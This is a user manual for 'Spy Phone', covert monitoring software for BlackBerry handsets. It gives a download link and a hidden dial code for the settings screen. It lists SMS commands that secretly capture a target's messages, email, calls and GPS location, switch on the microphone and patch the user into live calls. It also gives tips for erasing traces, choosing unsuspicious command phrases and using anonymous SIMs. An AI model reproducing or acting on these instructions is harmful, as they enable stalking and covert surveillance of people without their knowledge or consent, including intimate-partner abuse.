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BlackBerry Guide

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Legal Disclaimer

It is the responsibility of the Spy Phone user to ascertain, and obey, all applicable laws in their country in

regard to the use of Spy Phone for "sneaky purposes". If you are in doubt, consult your local attorney

before using Spy Phone software. By downloading and installing Spy Phone, you represent that it will be

used in only a lawful manner. Logging other people's SMS messages & other phone activity or installing

software on another person's phone without their knowledge can be considered as an illegal activity in

your country. We assume no liability and are not responsible for any misuse or damage caused by our Spy

Phone software. It is the final user's responsibility to obey all laws in their country. By purchasing &

downloading our software, you hereby agree to the above.

Manual

The SpyPhone software is activated using an Activation Code which is valid for one year.

Downloading And Installing

1. Open the Internet Browser, and go to the web address, http://dd.mobilebackup.me/bbs/b.jad

f to link and installation download.

2. Select“Download”. And installation will begin automatically.

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Activate The Software

After installation the product must be activated and configured using the “SECRET SETTINGS” screen.

1. To open “Secret Settings” screen, enter *#900900900, then press the green CALL key, followed by the

red END CALL key. On some versions of Blackberry pressing the END CALL key will make the setting

screen disappear. If this happens, try again and do not press the END CALL key at all.

2. The program must find a proper Internet connection to the server. Press OK to begin.

3. If the product is not yet active, you will be asked to activate the product.

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4. Then press MENU Key ACTIVATE

5. Enter your “ACTIVATION CODE” and press “ACTIVATE”.(If your activation code is 123456789)

6. You will see “Activate success”. Press OK to set up your options.

If you can’t activate you either don’t have a BIS data plan or you are using an incorrect APN in the

Blackberry (phone) TCP settings. Check the trouble shooting guide at the end of this manual for help.

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NOTE: After activation, the code to open the settings screen changes from *#900900900 to *#Activation

Code. So if your Activation Code is 123456789, after Activation you would open by dialing *#123456789

and immediately ending the call, as when using the default code before.

Any time you open the secret settings screen, always check the CALL LOG history to delete any record of

the *# number.

CUSTOM SETTINGS

Open the secret settings to make changes in how the Spy Phone software is controlled. To open the setting

screen please enter *#Activation Code. Then press the green CALL key, followed by the red END CALL key.

On some versions of Blackberry pressing the END CALL key will make the setting screen disappear. If this

happens, try again and do not press the END CALL key at all.

Note: transmitting events incurs GPRS data costs, but these can be minimized by selecting a large number

of events and long timer settings. These costs are very small, because the amount of data the software

transmits is small, but do check with your operator. From the phone bill it is not possible to determine

where the device is connecting to, but only the amount of data that was transmitted.

1. Report Timer: is used to set how often the application should report to server. The application will

report all captured events when this timer has elapsed.

We recommend setting REPORT TIMER: 1 hour (report once per hour)

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2. Max Number Of Events: application will report to server when X number of events have been captured.

This works together with the above settings (either/or, whichever timer setting occurs first).

We recommend to set:

MAX NUMBER OF EVENTS: 10 events

3. Activies To Monitor: is used to set which events the application will capture. Tick or un-you’re your

choices.

We recommend selecting only the events important to you, to minimize data traffic. Emails will

consume the most data.

4. Monitoring Number: Shows the currently defined Monitor number. We recommend you not edit this

directly, but send the SMS command to turn on mic monitoring, which properly sets the Monitor

number (next section, Step21)

5. SIM Change: Makes the Target send a discreet SMS to the defined Monitor if the SIM card is changed,

providing the new number so you may continue making SpyCalls. (outgoing SMS alert is not kept in

Target logs)

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6. GPS Change Refresh Time: Only shown if Target supports GPS. Defines how often to turn on GPS and

save the location data. Setting it too often may quickly drain the Target’s battery. GPS will be reported

with all other events according to Report Timer settings.

7. Watch All Numbers:

This setting allows you to receive SMS Alerts when the TARGET phone makes either an incoming or

outgoing phone call to any phone number.

After receiving SMS Alert, you need to make a call to the target phone. Your call will be patched into the

target’s conversation in secret.

Please note that Call Interception feature will work with phones on GSM networks only.

8. Capture Status: Once any item is selected, capturing should automatically begin. Pressing the button

performs the action stated.

Current Capture Status is noted at the bottom of the screen.

All options are saved dynamically. To exit settings screen after all options have been set, click Menu

Key/Close or simply press the End Call key. When exiting, you may be prompted to TEST CONNECTION if

you have not already.

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COMPLETING BASIC SETUP

Do this to prevent incoming Spy Calls from showing up in the Target’s call logs. This step is not required for

Blackberry Storm and Blackberry Tour.

1. Press BlackBerry key> Press Menu Key > Options> General Options

2. Select phone list view, Change Phone List View to CALL LOG

If this is not done there is a possibility your incoming Spy Call could appear in the Target call logs. Not a

big problem as it does not affect the operation of the Spy Call, & you can always blame it on an

accidentally pressed speed dial. However if you set this correctly then your incoming SpyCalls should

never appear in the call history.

3. Verify Application Permissions

From your Monitor phone, send „tbdz‟ as an SMS text message to the Target phone (all lower case,

without the quote marks. Do not allow your monitor phone to automatically capitalize the text).

This is the default command to receive a Diagnostic Report, as an automatic SMS reply. This verifies the

program is working and has the required permissions. As a trouble-shooting resource, it may be

requested at any time to verify program status and settings.

Whenever the Target receives an SMS containing a defined command, it will send a reply SMS to the

number which sent the command, in this case the Diagnostic Report. All command responses are

discreet, as the outgoing SMS text is not saved in the Target’s SMS logs.

When the SMS is received on the Target, dialogue boxes may appear if any permissions haven’t been

set yet or were not saved properly

For all pop-ups that appear, select “Don’t ask this again” and then select “Allow this connection”.

If you do not see any permission boxes it means all permissions have already been set correctly.

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Set Monitor Number by SMS Command

1. From your Monitor phone, send “bceq‟ as an SMS text message to the Target phone (all lower case,

without the quote marks). On the Target, select “Don’t ask this again” and then “Allow this connection”

for any pop-ups that might appear. You will receive an “OK” response to your Monitor phone.

2. bceq is the default command to turn on Spy Call mode (remote monitoring) for ANY number that sends

the command. After receiving the OK response, call the Target from your Monitor to verify it will

discreetly answer as a Spy Call.

Send SMS command to turn on Spy Call & automatically set your full Monitor number properly in the

settings. This is the preferred method. Spy Call may be turned on or off remotely for any number, at any

time. See SMS Control Section for more, next page.

When making a SpyCall, the Target phone may be go into hands free or speakerphone mode so you can

hear through the mic in 360 degrees (Omni-directional).Mute your Monitor phone to prevent the other

party from hearing sounds from your side.

Note: The Intercept Call feature is not compatible with CDMA networks. Please see note below for

more information.

IMPORTANT NOTE: Regarding Spy Call on GSM (AT&T/ T-Mobile/Others) or CDMA networks

(Sprint/Verizon/Others)

If the Target phone is not idle (is already on an active call, buttons are pressed, etc.) the Spy Call cannot

be performed.

In the case of GSM networks (ATT/T-Mobile), this will result in the Spy Call being REJECTED. You might

hear a busy signal or the call may be diverted to voice mail.

On CDMA networks (Sprint/Verizon) if the Target phone is ALREADY ON A CALL, the incoming SpyCall

will ring through as a normal Call Waiting call, with your Monitor number appearing on the Target’s

Caller ID and the normal Call Waiting beep heard. This is why Intercept Call is not CDMA compatible.

This is due to the way Blackberry handles the 2nd incoming call on CDMA networks. For this reason you

may want to use a cheap, prepaid SIM card or an otherwise anonymous number for the Monitor phone,

if your Target device is on a CDMA network. Or simply be prepared to say hello if the Target answers,

understanding that the Spy Call cannot work in this case anyway, because they were already on another

call at the time.

This is not an issue with GSM networks, which will automatically reject the Spy Call if an existing call is

already in progress. With both network types, Spy Call will automatically disconnect if any buttons are

pressed during an active Spy Call.

Call Interception: An Intercept Call is where an incoming call from the MONITOR number is patched into

any active call on the TARGET. If there is no active call, then the incoming call acts like a Spy Call.

If you enable the Watch List then Final edition will immediately send a hidden SMS notice from the

Target to your defined Monitor number, whenever an outgoing or incoming call becomes connected. If

you then call the Target from your Monitor, you will be automatically added to the Live Call in progress.

***TARGET PHONE MUST SUPPORT CONFERENCE CALL (GSM NETWORKS)***

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SMS CONTROL COMMANDS

Below is the complete list of all default SMS commands. These are normal SMS text you send to the Target

to remotely control it, or turn on/off certain features. All commands are case sensitive and may appear

alone or within the body of any normal SMS you send. These SMS are visible to the user and are processed

for ANY phone number that sends a proper command, so use caution when setting custom commands.

KEYPHRASE SETTINGS DEFAULT VALUE EXPLANATION

Start Capture tuoa The SMS phrase used to start event capturing. Events are any

email, location, SMS or phone activity

Stop Capture qajl The SMS phrase used to stop capture.

Send Immediate gjmb The SMS phrase use to force immediate deliver of events

Start Diagnostics tbdz The SMS Phrase used to send diagnostics

Start SIM Monitor qaze Enable SIM Change Notification. When the SIM Card is

changed, a SMS will be sent to the MONITOR number

Stop SIM Monitor mbgu Disable the SIM Change Notification

Start Mic Monitor bceq Start the Spy Call Answering

Stop Mic Monitor zaou Stop Spy Call Answering

Start GPS spsg To start capturing GPS (for GPS models Only)

Stop GPS riwq To stop capturing GPS (for GPS models Only)

Send GPS ekgz To send GPS location on demand (1 time) by SMS reply from

Target (for GPS models Only)

Enable Watch List lpdw To enable Watch List function

Disable Watch List iwdl To disable Watch List function

OPTIONALLY CHANGE DEFAULTCOMMANDS

Open settings screen (after Activation, use *#Activation Code Send/End)

On the Spy Phone settings screen, press MENU KEY SMS Control

Now change the command words to any single or multiple word, phrase or character string, including all

case and punctuation. All incoming commands must match exactly every character used.

RULES FOR DEFINING CUSTOM COMMANDS:

Short sentences are supported

All punctuation and capitalization (case sensitivity) counts

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Commands may appear anywhere within the body of any SMS text, but must be sent exactly as defined,

and multiple word commands must be in correct sequence.

Will appear as normal SMS (choose commands that can be part of longer messages, or will not arouse

suspicion)

Commands are accepted from ANY number sending a proper command (Keep commands unique to

avoid others sending commands by accident)

“hI BabY_” can be sent as “hI BabY_” or “hI BabY_ how are you?”

Deactivation / Uninstall Software

Deactivation

If you wish to move the software to another (compatible) phone, you MUST DEACTIVATE before you can

install and Activate on a new phone. ALL WEB REPORTS ARE DELETED WHEN YOU DEACTIVATE.

DOWNLOAD ALL NEEDED DATA BEFORE DEACTIVATING.

1. Open the secret setting screen

Press Menu KeyDeactivate

2. To continue, choose YES. Then Enter your Activation Code, and Deactivate.

This will delete ALL DATA from your web account. Download your information from the web before

Deactivating.

3. When you see DEACTIVATION SUCCESS, you are ready to move the software to another (compatible

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model) phone. Before installing to another device, please check our web site for all officially supported

models.

Uninstall Software

To open “Secret Settings” screen > Press Menu Key > Uninstall

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Reading Reports

To read your reports, log in to your account at www.mobilebackup.me using your ID and password. After

login you will see the Activity List screen.

This screen provides a summary of events that have occurred on the mobile device.

PLEASE DOWNLOAD AND DELETE YOUR DATA REGULARLY

TYPE: VOICE, SMS, Email, Location, System. System events may be shown for SMS commands, or if a

problem occurred on the monitored device such as a memory shortage. Recording may stop until the error

is cleared

DIRECTION: Was the event incoming or outgoing. A direction icon is shown

MOBILE TIME: The time the event occurred, according to the mobile.

SERVER TIME: The time the event was received at the server. This is always accurate

TIME ZONE: Convert EVENT times to your local time

CONTACT NAME: If there is a name in the phones address book associated with the number, it will be

displayed. Otherwise, this field shows the number. For Location, it is location name or location id.

CHECK BOX: Events may be selected individually using the check box. Once selected, they may be

permanent deleted by using the DELETE button.

DOWNLOAD CSV: Download the report to your computer as a CSV file. Please delete you data regularly

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Main Page: After login, this

displays all re-cently recorded

events. You can filter this view by

choosing VOICE, SMS, EMAIL,

LOCATION or SYSTEM views

System Events: If the TARGET device has low memory, a

SYSTEM even will be delivered. The soft-ware will stop

recording till memory is available

My Profile: Change password, see device

connection status and renew your subscriptions

Check Box: Events may be selected

individually using the check box.

Once se-lected, they may be

perma-nently de-leted by using the

DELETE link.

Direction: Was the event incoming or

out-going? A direction icon is shown.

Contact Name: If there is a name in the phones

address book associated with the number, it

will be displayed. Otherwise, this field shows

the number. For Loca-tion, it is location name

or location ID.

Mobile Time: The time the event oc-curred,

according to the mobile. This is not ac-curate as it

may not be set correctly

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VOICE SMS

Search: Answer questions by carrying out pow-erful searches. You can choose the

EVENT type, dates range, direction to search for specific key-words. If you have multiple

devices, you can spec-ify the device

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Trouble Shooting

BACKGROUND:

Blackberry devices can connect to the Internet in a variety of ways. These connections may be restricted if

the device is part of a corporate network. A corporate network will use a BES server which may block

access.

The preferred and only officially supported connection is a Blackberry Data Plan with BIS connection

For users who are not part of a corporate network, then your access point to the Internet may not be

correctly set up.

Access Point is set in Options -> Advanced -> TCP. This should contain the details that allow the application

to connect to the internet. Please contact your network operator to ask how to set up your Internet Access

Point if you are unable to Activate the product.

Problem 1: i can not activate the software after i have downloaded it from the internet. I get an error ?

Problem 2: i can not get the test connection to work it always fails ?

Problem 3: i have no events on the internet web server ?

THESE PROBLEMS ARE USUALLY DUE TO A PROBLEM WITH INTERNET CONNECTIVITY

PROBLEM 1 and 2

The issue is that you cannot connect to the Internet. You either are not subscribed to a Blackberry Data

Plan (BIS connection) or you do not have a correct GPRS access point defined (APN). Please check the

settings in Options -> Advanced -> TCP -> APN. Your Target may not have this setting correctly configured.

PROBLEM 3

This problem may occur AFTER you have successfully Activated and the software has been working for

some time. Here are possible causes

1. Out of GPRS coverage.

2. The phone is out of credit.

3. The SIM card is changed.

4. Software has been removed / phone reformatted or OS upgraded

If you do not have access to the phone, send a diagnostic command to the phone. If you receive a response

this means the software is still working. If there is no response, the software has likely been removed by a

phone reformat, unless the Target is off or unable to send an SMS.

Examine the Diagnostic to see what the last connection status is. You can see a diagnostic report on page

12. If there is an error code and events are still saved in the program database, it means the program

cannot make a connection to the Internet. In this case the device will continue to capture and store the

events (as long as there is storage space available), and continue making the connection attempts

according to the configured schedule of the Report Timer. Events should be delivered to the web account

once a successful connection can be made.

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DIAGNOSTICS

The Diagnostic Report offers detailed information to help troubleshoot connection problems and other

issues.

To retrieve diagnostics you have two choices:

You must either open up the CONTROL PANEL screen, and use the STATUS option.

If you don't have physical access to the device, you can receive the diagnostic by sending an SMS with

the command for Diagnostics to the Target phone. You will receive an SMS reply containing the

diagnostic information.

1. CONTROL PANEL METHOD

The status of the last connection, and the number of events transmitted. If there is an error you may

see an error code given.

The number of events waiting to be sent to your account (captured since last connection).

2. DIAGNOSTIC SMS METHOD

Here is the meaning of the diagnostics:

1> ProductCode, App Version

2> Platform

3> O.S version

4> SpyCall status (0/1), Monitor # (if defined)

5> Capturing status (0=off, 1=on)

6> To capture: SMS, Call, Email, Loc, GPS (0 for disable,

1 for enable, * for unsupported)

7> Nº of SMS In, Out (captured since last update to

server)

8> Nº of Call In, Out, Missed

9> Nº of LOC (Cell ID), Nº System events

10> Nº of Mail In, Out

11> Max Number of Events

12> Timer

13> Monitor Number (as currently defined)

14> Last connection Date, Time

15> Response Code

16> Network Name

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17> GPS refresh period (if enabled, how often to capture GPS location)

This legend contains all current status available for the Finsl version. Different versions or different

models may not see all information listed here.

For all support requests, please contact your supplier and provide arecent Diagnostic Report.